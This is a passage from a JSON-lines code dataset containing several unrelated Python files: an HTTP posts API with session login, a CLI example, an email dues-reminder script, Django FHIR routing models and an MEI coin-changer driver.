self.send_response(status_code)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(json.dumps(msg).encode(\"utf-8\"))\n \n def handlePostRetrieveMember(self, post_id):\n # ENFORCE AUTHORIZATOIN (is user loggin in, or not?)\n if \"userId\" not in self.sessionData:\n self.handleSomeBadRequest(401)\n return\n db = PostsDB()\n post = db.getOnePost(post_id)\n if post:\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(bytes(json.dumps(post), \"utf-8\"))\n else:\n self.handleSomeBadRequest(404)\n\n def handlePostRetrieveCollection(self):\n # ENFORCE AUTHORIZATOIN (is user loggin in, or not?)\n if \"userId\" not in self.sessionData:\n self.handleSomeBadRequest(401)\n return\n self.send_response(200)\n # headers go here\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n\n # body (data) goes here\n db = PostsDB()\n self.wfile.write(bytes(json.dumps(db.getAllPosts()), \"utf-8\"))\n\n\n def handlePostCreate(self):\n # ENFORCE AUTHORIZATOIN (is user loggin in, or not?)\n if \"userId\" not in self.sessionData:\n self.handleSomeBadRequest(401)\n return\n # capture data from the body and save it.\n # 1. read the raw data from the body\n length = self.headers[\"Content-Length\"] # headers is a python dictionary\n body = self.rfile.read(int(length)).decode(\"utf-8\")\n print(\"the RAW body: \", body)\n # 2. parse the raw data into usable data\n parsed_body = parse_qs(body)\n print(\"the PARSED body: \", parsed_body) # parsed_body is a python dictionary\n if len(parsed_body) < 5:\n self.handleSomeBadRequest(400)\n return\n # 3. if the data is good, save the data into the database\n fName = parsed_body[\"fName\"][0]\n lName = parsed_body[\"lName\"][0]\n message = parsed_body[\"message\"][0]\n location = parsed_body[\"location\"][0]\n date = parsed_body[\"date\"][0]\n\n db = PostsDB()\n db.insertPost(fName,lName,message,location,date)\n #db.saveRecord({\"name\": name, \"rating\": rating, \"hours\": hours})\n self.send_response(201)\n self.end_headers()\n\n \n def handlePostDeleteMember(self,post_id):\n # ENFORCE AUTHORIZATOIN (is user loggin in, or not?)\n if \"userId\" not in self.sessionData:\n self.handleSomeBadRequest(401)\n return\n # 1. query the DB: get/load the Post by id\n db = PostsDB()\n post = db.getOnePost(post_id)\n # 2. if it exists? (!=None)>\n if post != None:\n # 3. delete the record from the DB\n db.deleteOnePost(post_id)\n # 4. respond to the client (200, no body)\n self.send_response(200)\n self.end_headers()\n else:\n self.handleSomeBadRequest(404)\n \n\n def handlePostUpdateMember(self, post_id):\n # ENFORCE AUTHORIZATOIN (is user loggin in, or not?)\n if \"userId\" not in self.sessionData:\n self.handleSomeBadRequest(401)\n return\n db = PostsDB()\n post = db.getOnePost(post_id)\n # 2. if it exists? (!=None)>\n print(\"Here is what db.GetOnePost returned: \", post)\n if post != None:\n length = self.headers[\"Content-Length\"] # headers is a python dictionary\n body = self.rfile.read(int(length)).decode(\"utf-8\")\n print(\"the RAW body: \", body)\n # 2. parse the raw data into usable data\n parsed_body = parse_qs(body)\n if len(parsed_body) < 5:\n self.handleSomeBadRequest(400)\n return\n print(\"the PARSED body: \", parsed_body) # parsed_body is a python dictionary\n # 3. if the data is valid, save the data into the database\n fName = parsed_body[\"fName\"][0]\n lName = parsed_body[\"lName\"][0]\n message = parsed_body[\"message\"][0]\n location = parsed_body[\"location\"][0]\n date = parsed_body[\"date\"][0]\n # 3. delete the record from the DB\n db.updatePost(post_id, fName,lName,message,location,date)\n # 4. respond to the client (200, no body)\n self.send_response(200)\n self.end_headers()\n else:\n self.handleSomeBadRequest(404)\n \n \n def handleUserCreate(self):\n # read all data from the body, firstname, lastname, email, password\n # 1. read the raw data from the body\n length = self.headers[\"Content-Length\"] # headers is a python dictionary\n body = self.rfile.read(int(length)).decode(\"utf-8\")\n # 2. parse the raw data into usable data\n parsed_body = parse_qs(body)\n if len(parsed_body) < 4:\n self.handleSomeBadRequest(400)\n return\n # FIRST, check to see if the user exists in the DB\n db = PostsDB()\n user = db.getOneUserByEmail(parsed_body[\"email\"][0])\n if user == None:\n # insert the new user into the DB\n firstName = parsed_body[\"firstName\"][0]\n lastName = parsed_body[\"lastName\"][0]\n email = parsed_body[\"email\"][0]\n encryptedPassword = bcrypt.hash(parsed_body[\"password\"][0])\n db.createNewUser(firstName, lastName, email, encryptedPassword)\n # success: 201\n self.send_response(201)\n self.end_headers()\n else:\n # If it DOES exist in DB:\n # failure: 422\n self.handleSomeBadRequest(422)\n\n def handleSessionCreate(self):\n length = self.headers[\"Content-Length\"] # headers is a python dictionary\n body = self.rfile.read(int(length)).decode(\"utf-8\")\n parsed_body = parse_qs(body)\n if len(parsed_body) < 2:\n self.handleSomeBadRequest(400)\n return\n email = parsed_body[\"email\"][0]\n password = parsed_body[\"password\"][0]\n \n print(\"in handleSessionCreate\")\n \n # FIRST, check to see if the user exists in the DB\n db = PostsDB()\n user = db.getOneUserByEmail(email)\n # if it DOES exist in the DB:\n if user:\n # compare given password (from body) to hashed password (from DB)\n # if password matches:\n if bcrypt.verify(password, user[\"encryptedpassword\"]):\n # SAVE USER'S ID INTO SESSION DATA!!!\n self.sessionData[\"userId\"] = user[\"id\"]\n self.send_response(201)\n self.end_headers()\n else:\n self.handleSomeBadRequest(401)\n else:\n self.handleSomeBadRequest(401)\n\n \n def do_OPTIONS(self):\n self.load_session_data()\n self.send_response(200)\n self.send_header(\"Access-Control-Allow-Methods\",\"OPTIONS, GET, POST, PUT, DELETE\")\n self.send_header(\"Access-Control-Allow-Headers\",\"Content-Type\")\n self.end_headers()\n\n\n def do_GET(self):\n self.load_session_data()\n print(\"GET request received! Path is: \" + self.path)\n\n path_parts = self.path.split(\"/\")\n resource = path_parts[1]\n if len(path_parts) > 2:\n identifier = path_parts[2]\n else:\n identifier = None\n\n if resource ==\"posts\" and identifier == None:\n self.handlePostRetrieveCollection()\n elif resource == \"posts\" and identifier != None:\n self.handlePostRetrieveMember(identifier)\n else:\n self.handleSomeBadRequest(404)\n return\n \n\n def do_POST(self):\n self.load_session_data()\n print(\"POST request received! Path is: \" + self.path)\n if self.path == \"/posts\":\n self.handlePostCreate()\n elif self.path == \"/users\":\n self.handleUserCreate()\n elif self.path == \"/sessions\":\n self.handleSessionCreate()\n else:\n self.handleSomeBadRequest(404)\n \n \n def do_DELETE(self):\n self.load_session_data()\n print(\"DELETE request received! Path is: \" + self.path)\n # parse the path (resource & identifier)\n path_parts = self.path.split(\"/\")\n resource = path_parts[1]\n if len(path_parts) > 2:\n identifier = path_parts[2]\n else:\n identifier = None\n if resource ==\"posts\" and identifier == None:\n self.handleSomeBadRequest(404)\n elif resource == \"posts\" and identifier != None:\n self.handlePostDeleteMember(identifier)\n else:\n self.handleSomeBadRequest(404)\n \n \n def do_PUT(self):\n self.load_session_data()\n print(\"PUT request received! Path is: \" + self.path)\n path_parts = self.path.split(\"/\")\n resource = path_parts[1]\n if len(path_parts) > 2:\n identifier = path_parts[2]\n else:\n identifier = None\n if resource ==\"posts\" and identifier == None:\n self.handleSomeBadRequest(404)\n elif resource == \"posts\" and identifier != None:\n self.handlePostUpdateMember(identifier)\n else:\n self.handleSomeBadRequest(404)\n\n\ndef run():\n db = PostsDB()\n db.createPostsTable()\n db.createUsersTable()\n db = None # disconnect\n\n port = 8080\n if len(sys.argv) > 1:\n port = int(sys.argv[1])\n listen = (\"0.0.0.0\", port)\n server = HTTPServer(listen, MyRequestHandler)\n\n print(\"Server listening on\", \"{}:{}\".format(*listen))\n server.serve_forever()\n\n\nrun()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":13247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"310314943","text":"#!/usr/bin/env python\n\nimport sys\nfrom argparsetree import BaseCommand\n\n\nclass CleanFooCommand(BaseCommand):\n description = 'Cleans up the foo object'\n\n def add_args(self, parser):\n parser.add_argument('target', help='The foo file to clean up')\n parser.add_argument('-y', '--yes', help='Automatic answer yes to prompts', action='store_true')\n\n def action(self, args):\n # do cleaning\n return 0\n\n\nclass CheckFooCommand(BaseCommand):\n description = 'Checks the integrity of a foo object'\n\n def add_args(self, parser):\n parser.add_argument('target', help='The foo file to clean up')\n parser.add_argument('-y', '--yes', help='Automatic answer yes to prompts', action='store_true')\n\n def action(self, args):\n # do cleaning\n return 0\n\n\nclass FooCommand(BaseCommand):\n description = 'Do things with foos'\n sub_commands = {\n 'check': CheckFooCommand,\n 'clean': CleanFooCommand,\n # more sub commands here\n }\n\n\nclass RootCommand(BaseCommand):\n description = 'My fancy CLI'\n sub_commands = {\n 'foo': FooCommand,\n # more sub commands here\n }\n\n\nif __name__ == '__main__':\n sys.exit(RootCommand().run())\n","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"33723197","text":"#! python3\n# sendDuesDeminders.py - Sends emails based on payment status in spreadsheet.\n\nimport openpyxl, smtplib, sys, os\n\nos.chdir('C:\\PythonScripts\\Chapter 16 - Email, SMS')\n\n# Open the spreadhsheet and get the latest dues status.\nwb = openpyxl.load_workbook('duesRecords.xlsx')\nsheet=wb.get_sheet_by_name('Sheet1')\n\nlastCol = sheet.max_column\nlatestMonth = sheet.cell(row=1,column=lastCol).value\n \n# Check each member's payment status.\n\nunpaidMembers = {}\nfor r in range(2,sheet.max_row +1):\n payment = sheet.cell(row=r, column = lastCol).value\n if payment != 'paid':\n name=sheet.cell(row=r, column=1).value\n email = sheet.cell(row=r, column=2).value\n unpaidMembers[name]=email\n \n\n# Log in to email account.\n\nsmtpObj=smtplib.SMTP('smtp.gmail.com',587)\nsmtpObj.ehlo()\nsmtpObj.starttls()\nsmtpObj.login('anna.dukhovich@maine.edu', sys.argv[1])\n\n# Send out reminder emails.\n\nfor name, email in unpaidMembers.items():\n body = \"Subject: %s dues unpaid.\\nDear %s,\\nRecords show that you have not paid dues for %s.'\" %(latestMonth, name, latestMonth)\n print('Sending email to %s...' % email)\n sendmailStatus = smtpObj.sendmail('anna.dukhovich@maine.edu',email,body)\n \n if sendmailStatus!={}:\n print('There was a problem senting email to %s: %s' %(email, sendmailStatus))\nsmtpObj.quit() \n\n ","sub_path":"How_to_Automate_Stuff_w_Python/Chapter 16 - Email, SMS/sendDuesReminders.py","file_name":"sendDuesReminders.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"422606951","text":"from django.db import models\nfrom apps.fhir.server.utils import text_to_list, init_text_list\n\n\nclass ResourceRouter(models.Model):\n \"\"\"\n Server URL at Profile level\n eg.\n https://fhir-server1.cmsblue.cms.gov/fhir/baseDstu2/\n https://fhir-server2.cmsblue.cms.gov/fhir/stu3/\n\n ID will be used as reference in CrossWalk\n \"\"\"\n\n name = models.CharField(max_length=254,\n verbose_name=\"Friendly Server Name\")\n server_address = models.URLField(verbose_name=\"Server Name in URL form\")\n server_path = models.CharField(max_length=254,\n default=\"/\",\n verbose_name=\"path to API with \"\n \"terminating /\")\n server_release = models.CharField(max_length=254,\n default=\"baseDstu3/\",\n verbose_name=\"FHIR release with \"\n \"terminating /\")\n server_search_expiry = models.IntegerField(verbose_name=\"Search expires \"\n \"in seconds\",\n default=1800)\n fhir_url = models.URLField(verbose_name=\"Full URL to FHIR API with \"\n \"terminating /\")\n shard_by = models.CharField(max_length=80,\n default='Patient',\n verbose_name='Key Resource type')\n\n supported_resource = models.ManyToManyField('SupportedResourceType')\n\n client_auth = models.BooleanField(default=False,\n help_text=\"Is Client Authentication \"\n \"Required?\")\n # Certs and keys will be stored in files and folders under\n # FHIR_CLIENT_CERTSTORE (set in base.py)\n # default will be BASE_DIR + /../certstore\n cert_file = models.TextField(max_length=250,\n blank=True,\n null=True,\n help_text=\"Client Certificate filename.\")\n key_file = models.TextField(max_length=250,\n blank=True,\n null=True,\n help_text=\"Name of Client Key filename\")\n server_verify = models.BooleanField(default=False,\n help_text=\"Server Verify \"\n \"(Default=False)\")\n wait_time = models.IntegerField(default=30,\n null=False,\n blank=True,\n verbose_name=\"Server wait time (Seconds)\",\n help_text=\"Seconds to wait before timing \"\n \"out a call to this server.\")\n\n def __str__(self):\n return self.name\n\n def get_resources(self):\n rType = []\n for s in self.supported_resource.all():\n rType.append(s.resourceType)\n return rType\n\n def get_protected_resources(self):\n rProtectedType = []\n for s in self.supported_resource.all():\n if s.secure_access:\n rProtectedType.append(s.resourceType)\n return rProtectedType\n\n def get_open_resources(self):\n rOpenType = []\n for s in self.supported_resource.all():\n if not s.secure_access:\n rOpenType.append(s.resourceType)\n\n # return \"\\n\".join([s.resourceType for s in\n # self.supported_resource.all()])\n return rOpenType\n\n def get_open_resource_count(self):\n rOpenTypeCount = 0\n for s in self.supported_resource.all():\n if not s.secure_access:\n rOpenTypeCount += 1\n\n return rOpenTypeCount\n\n def get_protected_resource_count(self):\n rProtectedTypeCount = 0\n for s in self.supported_resource.all():\n if s.secure_access:\n rProtectedTypeCount += 1\n\n return rProtectedTypeCount\n\n def server_address_text(self):\n server_address_text = self.server_address\n return server_address_text\n\n def fhir_url_text(self):\n fhir_url_text = self.fhir_url\n\n return fhir_url_text\n\n\nclass SupportedResourceType(models.Model):\n # unique resource_name\n resource_name = models.CharField(max_length=255,\n unique=True,\n db_index=True,\n verbose_name=\"unique Resource \"\n \"name in this table\")\n # FHIR_Server\n fhir_source = models.ForeignKey(ResourceRouter,\n blank=True,\n null=True)\n # fhir_resourceType\n resourceType = models.CharField(max_length=250,\n unique=False,\n db_index=True,\n verbose_name=\"Actual FHIR Resource Type\")\n # should user be logged in to access this resource\n secure_access = models.BooleanField(default=True,\n verbose_name=\"Secured resource\",\n help_text='Login required to access'\n ' this resource')\n json_schema = models.TextField(max_length=5120,\n default='{}',\n help_text='{} indicates no schema.')\n get = models.BooleanField(default=False,\n verbose_name='get',\n help_text='FHIR Interaction Type')\n read = models.BooleanField(default=False,\n verbose_name='read',\n help_text='FHIR Interaction Type')\n vread = models.BooleanField(default=False,\n verbose_name='vread',\n help_text='FHIR Interaction Type')\n history = models.BooleanField(default=False,\n verbose_name='_history',\n help_text='FHIR Interaction Type')\n search = models.BooleanField(default=False,\n verbose_name='search',\n help_text='FHIR Interaction Type')\n put = models.BooleanField(default=False,\n verbose_name='put',\n help_text='FHIR Interaction Type')\n create = models.BooleanField(default=False,\n verbose_name='create',\n help_text='FHIR Interaction Type')\n update = models.BooleanField(default=False,\n verbose_name='update',\n help_text='FHIR Interaction Type')\n patch = models.BooleanField(default=False,\n verbose_name='patch',\n help_text='FHIR Interaction Type')\n delete = models.BooleanField(default=False,\n verbose_name='delete',\n help_text='FHIR Interaction Type')\n # override_url_id indicates that we change the ID part of the URL\n # in order to prevent a user requesting another person's information\n # This is typically used on the Patient Resource for BlueButton\n # The Bluebutton.Crosswalk is used to get the user's URL Id for the\n # patient Resource\n override_url_id = models.BooleanField(default=False,\n help_text=\"Does this resource need \"\n \"to mask the id in the \"\n \"url?\")\n # override_search is used to determine if the ?{Search parameters need\n # to be evaluated to Add or Remove elements of the search string\n # This is used in BlueButton to apply a Patient=Patient_ID to requests\n # for ExplanationOfBenefit so that only the EOBs for the specific user\n # are returned.\n override_search = models.BooleanField(default=False,\n help_text=\"Do search parameters \"\n \"need to be filtered \"\n \"to avoid revealing \"\n \"other people's data?\")\n # search_block is a list stored as text\n # search_block will remove parameters from the search string\n search_block = models.TextField(max_length=5120,\n blank=True,\n default=\"\",\n help_text=\"list of values that need to be \"\n \"removed from search \"\n \"parameters. eg. Patient\")\n # search_add is a list stored as text\n # search_add will add a filter parameter to the search string\n # In BlueButton this is used to add the patient_url_id to the search string\n # We currently use %PATIENT% to do a replace with patient_id\n search_add = models.TextField(max_length=200,\n blank=True,\n default=\"\",\n help_text=\"list of keys that need to be \"\n \"added to search parameters to \"\n \"filter information that is \"\n \"returned. eg. \"\n \"Patient=%PATIENT%\")\n\n def __str__(self):\n return self.resource_name\n\n def get_supported_interaction_types(self):\n sit = []\n if self.get:\n sit.append(str(self._meta.get_field('get').verbose_name).lower())\n if self.put:\n sit.append(str(self._meta.get_field('put').verbose_name).lower())\n if self.create:\n sit.append(str(self._meta.get_field('create').verbose_name).lower())\n if self.read:\n sit.append(str(self._meta.get_field('read').verbose_name).lower())\n if self.vread:\n sit.append(str(self._meta.get_field('vread').verbose_name).lower())\n if self.update:\n sit.append(str(self._meta.get_field('update').verbose_name).lower())\n if self.patch:\n sit.append(str(self._meta.get_field('patch').verbose_name).lower())\n if self.delete:\n sit.append(str(self._meta.get_field('delete').verbose_name).lower())\n if self.search:\n sit.append(str(self._meta.get_field('search').verbose_name).lower())\n if self.history:\n sit.append(str(self._meta.get_field('history').verbose_name).lower())\n return sit\n\n def set_search_block(self, x):\n # Convert list to text\n\n # Done: get text, convert to list, add x, save back as text\n self.search_block = init_text_list(x)\n\n def get_search_block(self):\n # get search_block and convert to list from text\n # Done: fix conversion from text to list\n # if self.search_block == '':\n # search_list = '[]'\n # else:\n # search_list = self.search_block\n # return json.loads(search_list)\n\n return text_to_list(self.search_block)\n\n def set_search_add(self, x):\n # Add x to search_add.\n # Done: get text, convert to list, add x, save back as text\n self.search_add = init_text_list(x)\n\n def get_search_add(self):\n # Done: get text, convert to list\n # if self.search_add == '':\n # search_list = '[]'\n # else:\n # search_list = [self.search_add, ]\n\n return text_to_list(self.search_add)\n\n def access_denied(self, access_to_check):\n # TODO: write the proper logic\n # return True\n if access_to_check.lower() == 'fhir_get':\n return not self.get\n elif access_to_check.lower() == 'fhir_put':\n return not self.put\n elif access_to_check.lower() == 'fhir_create':\n return not self.create\n elif access_to_check.lower() == 'fhir_read':\n return not self.read\n elif access_to_check.lower() == 'fhir_update':\n return not self.update\n elif access_to_check.lower() == 'fhir_patch':\n return not self.patch\n elif access_to_check.lower() == 'fhir_delete':\n return not self.delete\n elif access_to_check.lower() == 'fhir_search':\n return not self.search\n elif access_to_check.lower() == 'fhir_history':\n return not self.history\n else:\n return True\n\n def access_permitted(self, access_to_check):\n # TODO: write the proper logic\n # return True\n if access_to_check.lower() == 'fhir_get':\n return self.get\n elif access_to_check.lower() == 'fhir_put':\n return self.put\n elif access_to_check.lower() == 'fhir_create':\n return self.create\n elif access_to_check.lower() == 'fhir_read':\n return self.read\n elif access_to_check.lower() == 'fhir_update':\n return self.update\n elif access_to_check.lower() == 'fhir_patch':\n return self.patch\n elif access_to_check.lower() == 'fhir_delete':\n return self.delete\n elif access_to_check.lower() == 'fhir_search':\n return self.search\n elif access_to_check.lower() == 'fhir_history':\n return self.history\n else:\n return False\n\n def login_to_access(self):\n # Should the user be logged in to access this resource\n return self.secure_access\n","sub_path":"apps/fhir/server/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":13945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"77441267","text":"\nimport sys,os,time\n\nraiz = os.path.join(os.path.dirname(os.path.abspath(__file__)),\"..\")\nsys.path.append(raiz)\nfrom Comunicacion import Comunicacion\nfrom Variables.Temporizador import Temporizador\n\nclass Mei():\n \"\"\"\n Clase utilizada para comunicarse con el monedero MEI CF7000\n \"\"\"\n\n def __init__(self, puerto):\n\n ESTADO_DESHABILITADO = 0\n ESTADO_HABILITADO = 1\n\n self.comunicacion = Comunicacion ()\n self.nombre = \"\"\n self.ser = puerto\n self.cambio = \"\"\n self.codigo = \"\"\n self.diferencia = \"\"\n self.descripcionDiferencia = \"\"\n self.nivelDeCambio = 0\n self.MONEDAS_HABILITADAS_MDB = [ESTADO_HABILITADO,ESTADO_HABILITADO,ESTADO_HABILITADO,ESTADO_HABILITADO]\n \n\n \n\n def darCambio(self,monto):\n TON_01 = Temporizador(\"dar cambio\", 2)\n TON_02 = Temporizador(\"dar canbio 2\", 2)\n self.ser.limpiar()\n #while(1):\n #print(\"Dar Cambio:\")\n global total,cambio\n factorDeEscala = .10\n dar=monto/factorDeEscala\n #print(dar)\n ba = [0x0F, 0x02, int(dar)]\n ckInt = self.checkSum(ba)\n\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [15, 1, 2, 0, int(dar), 0, int(ckInt), 0])\n self.ser.write(a);\n time.sleep(.01)\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [11, 1, 11, 0])\n self.ser.write(a);\n time.sleep(.01)\n k = self.ser.read(3)\n \n if(k):\n print(k)\n return k\n if(len(k) >= 2):\n\n if(k[0]==2 or k[1]==2):\n print(\"Comenzando pago..\",k)\n #ESTADO_BILLETERO = 1\n #break\n else:\n if self.iniciarTemporizador(TON_01):\n pass\n #ESTADO_BILLETERO = 0\n #break\n\n def darCambio2(self,monto):\n TON_01 = Temporizador(\"dar cambio\", 25)\n TON_02 = Temporizador(\"dar canbio 2\", 25)\n while(1):\n print(\"NO\")\n global total,cambio\n #print(monto)\n dar=monto/factorDeEscala\n print(dar)\n ba = [0x0F, 0x02, int(dar)]\n ckInt = checkSum(ba)\n #print(\"cambio->\", cambio, \"check->\", ckInt)\n\n\n \"\"\"\n ser.parity = change_parity(0x0F, 1)\n ser.write(b'\\x0F')\n ser.parity = change_parity(0x02, 0)\n ser.write(b'\\x02')\n ser.parity = change_parity(int(dar), 0)\n ser.write(bytes([int(dar)]))\n ser.parity = change_parity(int(ckInt), 0)\n ser.write(bytes([int(ckInt)]))\n time.sleep(.009)\n ser.parity = change_parity(0x0B, 1)\n ser.write(b'\\x0B')\n ser.parity = change_parity(0x0B, 0)\n ser.write(b'\\x0B')\n time.sleep(.005)\n \"\"\"\n a = comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [15, 1, 2, 0, int(dar), 0, int(ckInt), 0])\n ser.write(a);\n time.sleep(.01)\n a = comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [11, 1, 11, 0])\n ser.write(a);\n time.sleep(.01)\n k = ser.read(3)\n if(k):\n print(k)\n if(len(k) >= 2):\n\n if(k[0]==2 or k[1]==2):\n print(\"Comenzando pago..\",k)\n #ESTADO_BILLETERO = 1\n break\n\n def procesar_cambio(self,cambio):\n while(1):\n if(cambio<=20):\n if(cambio!=0):\n self.darCambio(cambio)\n cambio = 0 \n break\n else:\n self.darCambio(20)\n cambio=cambio-20\n\n def dispensarCambio(self,cambio_solicitado):\n #print(\"hay cambio\")\n \n cambio_dispensado = 0\n time.sleep(1)\n codigo_error = 0\n intentos = 0\n cambio_a_dispensar = cambio_solicitado\n \n for intentos in range(1,3):\n if intentos > 1:\n print(\"Error #{0}: Intentando entregar ${1} de cambio\".format(str(intentos),str(cambio_solicitado)))\n \n \n cassete_antes = self.estatusTubos()\n \n self.procesar_cambio(cambio_a_dispensar) # Dosifica el cambio en peticiones de maximo 20 pesos\n time.sleep(1) #Tiempo de espera para que monedero recuente sus monedas\n\n cassete_despues = self.estatusTubos()\n \n cambio_dispensado = self.obtener_cambio_dispensado(cassete_antes,cassete_despues,[1,2,5,10])\n diferencia_en_cambio = cambio_a_dispensar - cambio_dispensado\n\n print(\"Diferencia cambio: {} \".format(diferencia_en_cambio))\n if diferencia_en_cambio == 0: \n cambio_a_dispensar = diferencia_en_cambio\n break\n \n elif diferencia_en_cambio > 0:\n codigo_error = 11 # Se entrego cambio de menos\n cambio_a_dispensar = diferencia_en_cambio\n\n elif diferencia_en_cambio < 0:\n codigo_error = 12 # Se entrego cambio de mas\n break\n\n\n cambio_total_dispensado = cambio_solicitado - cambio_a_dispensar # Donde cambio_solicitado es el cambio solicitado y cambio_a_dispensar representa el cambio faltante \n return cambio_total_dispensado,intentos # Donde cam\n\n '''\n print(\"Diferencia cambio: {}\".format(diferencia_en_cambio))\n if diferencia_en_cambio > 0:\n codigo_error = 11 # Se entrego cambio de menos\n cambio = diferencia_en_cambio\n elif diferencia_en_cambio < 0:\n codigo_error = 12 # Se entrego cambio de mas\n break\n else: # Se entrego cambio de mas\n codigo_error = 0\n break\n '''\n #print(\"Error #{0}: al dispensar cambio\".format(codigo_error))\n #return cambio_dispensado,intentos\n\n\n \n def obtener_cambio_dispensado(self,cassete_antes,cassete_despues,denominaciones):\n cambio_dispensado = 0\n for i,denominacion in enumerate(denominaciones):\n \n cambio_dispensado = cambio_dispensado + (cassete_antes[i] - cassete_despues[i])*denominacion\n print(\"i: \",cambio_dispensado)\n return cambio_dispensado\n\n\n def checkSum(self,arr):\n j=0\n sum=0\n tam=arr.__len__()\n while(j8):\n #print(\"h\", r[4],r[5],r[6],r[7],r)\n TUBOS[0] = r[4]\n TUBOS[1] = r[5]\n TUBOS[2] = r[6]\n TUBOS[3] = r[7]\n\n\n\n if (r[0] == 0): # Verificar la respuesta <----------\n if(r.__sizeof__()>=30):\n for i,tubo in enumerate(TUBOS):\n if tubo == 0 and self.MONEDAS_HABILITADAS_MDB[i] == 1:\n #print(\"tubo: \",i,\"cantidad:\",tubo,\"Habilitado:\",MONEDAS_HABILITADAS_MDB[i])\n tuboVacio = 1\n if(tubo<20):\n nivelDeCambio=1\n if(tubo<10):\n nivelDeCambio=1\n #suspenderCajero=1\n\n #if((r[4] == 0 and MONEDAS_HABILITADAS_MDB[0]) or (r[5] == 0 and MONEDAS_HABILITADAS_MDB[1]) or (r[6] == 0 and MONEDAS_HABILITADAS_MDB[2]) or (r[7] == 0 and MONEDAS_HABILITADAS_MDB[3])):\n #if tuboVacio:\n if 0:\n print(\"errinfo...\")\n if self.iniciarTemporizador(TON):\n cajeroSuspendido = 1\n cs2=0\n return TUBOS\n \n '''\n suspenderCajero=1\n if(cajeroSuspendido==1):\n suspenderCajero=0\n cs2=0\n return TUBOS\n '''\n\n\n else:\n TON.entrada = 0\n TON.actualizar()\n suspenderCajero=0\n cs2=0\n cajeroSuspendido=0\n #print(\"Estatus de Llenado de Tubo: \", r[0], r[1]) #Verificar si se debe imprimir en Decimal o Ascii\n #print(\"TUBOS: \", TUBOS) #Verificar si se debe imprimir en Decimal o Ascii\n mm1=r[4]\n mm2=r[5]\n mm3=r[6]\n mm4=r[7]\n\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [0, 0])\n self.ser.write(a);\n return TUBOS\t\t\t\n \n else:\n if self.iniciarTemporizador(TON):\n cajeroSuspendido = 1\n return TUBOS\n\n \n def darCambioManual(self,valor):\n while(1):\n time.sleep(.05)\n print(valor,\"<--- aDar\")\n ba = [0x0D, int(valor)]\n ckInt = self.checkSum(ba)\n\n \"\"\"\n ser.parity = change_parity(0x0D, 1)\n ser.write(b'\\x0D')\n ser.parity = change_parity(int(valor), 0)\n ser.write(bytes([int(valor)]))\n ser.parity = change_parity(int(ckInt), 0)\n ser.write(bytes([int(ckInt)]))\n\n time.sleep(.05)\n ser.parity = change_parity(0x0B, 1)\n ser.write(b'\\x0B')\n ser.parity = change_parity(0x0B, 0)\n ser.write(b'\\x0B')\n time.sleep(.005)\n \"\"\"\n\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [13, 1, valor, 0, ckInt, 0])\n self.ser.write(a);\n time.sleep(.01)\n\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [11, 1, 11, 0])\n self.ser.write(a);\n time.sleep(.01)\n\n\n\n k = self.ser.read(4)\n if(k):\n print(k)\n if(k.__sizeof__()==18):\n if(k[0]==2):\n print(\"insistir\",k)\n break\n if(k.__sizeof__()==19):\n if(k[0]==2 or k[1]==2):\n print(\"insistir\",k)\n break\n if(k.__sizeof__()==20):\n if(k[0]==2 or k[1]==2 or k[2]==2):\n print(\"insistir\",k)\n break\n while(1):\n \"\"\"\n ser.parity = change_parity(0x0B, 1)\n ser.write(b'\\x0B')\n ser.parity = change_parity(0x0B, 0)\n ser.write(b'\\x0B')\n time.sleep(.005)\n \"\"\"\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [11, 1, 11, 0])\n self.ser.write(a);\n time.sleep(.01)\n\n\n k = self.ser.read(3)\n print(\"poll\",k)\n if(k):\n if(k[0]==0):\n print(\"roto\")\n time.sleep(.005)\n break\n\n\n def poll(self):\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [11, 1, 11, 0])\n self.ser.write(a)\n time.sleep(.01)\n k = self.ser.read(3)\n print(\"poll\",k)\n if(k):\n if(k[0]==0):\n print(\"roto\")\n time.sleep(.005)\n \n\n def inicializar(self):\n self.ser.limpiar()\n while (1):\n #ser.limpiar()\n ##ser.flushInput()\n \"\"\"\n ser.parity = change_parity(0x08, 1)\n ser.write(b'\\x08')\n ser.parity = change_parity(0x08, 0)\n ser.write(b'\\x08')\n \"\"\"\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [8, 1, 8, 0])\n #ser.escribir(a)\n #time.sleep(0.1)\n\n\n self.ser.write(a);\n time.sleep(.01)\n\n \n r = self.ser.read(1)\n print(\"RE,\",r)\n if(r):\n if (r[0] == 0):\n break\n \n while (1):\n \"\"\"\n ser.parity = change_parity(0x0F, 1)\n ser.write(b'\\x0F')\n ser.parity = change_parity(0x00, 0)\n ser.write(b'\\x00')\n ser.parity = change_parity(0x0F, 0)\n ser.write(b'\\x0F')\n \"\"\"\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [15, 1, 0, 0, 15, 0])\n self.ser.write(a);\n time.sleep(.1)\n\n r = self.ser.read(33) # Verificar en el simulador se ve que devuelve 34\n print(r)\n if 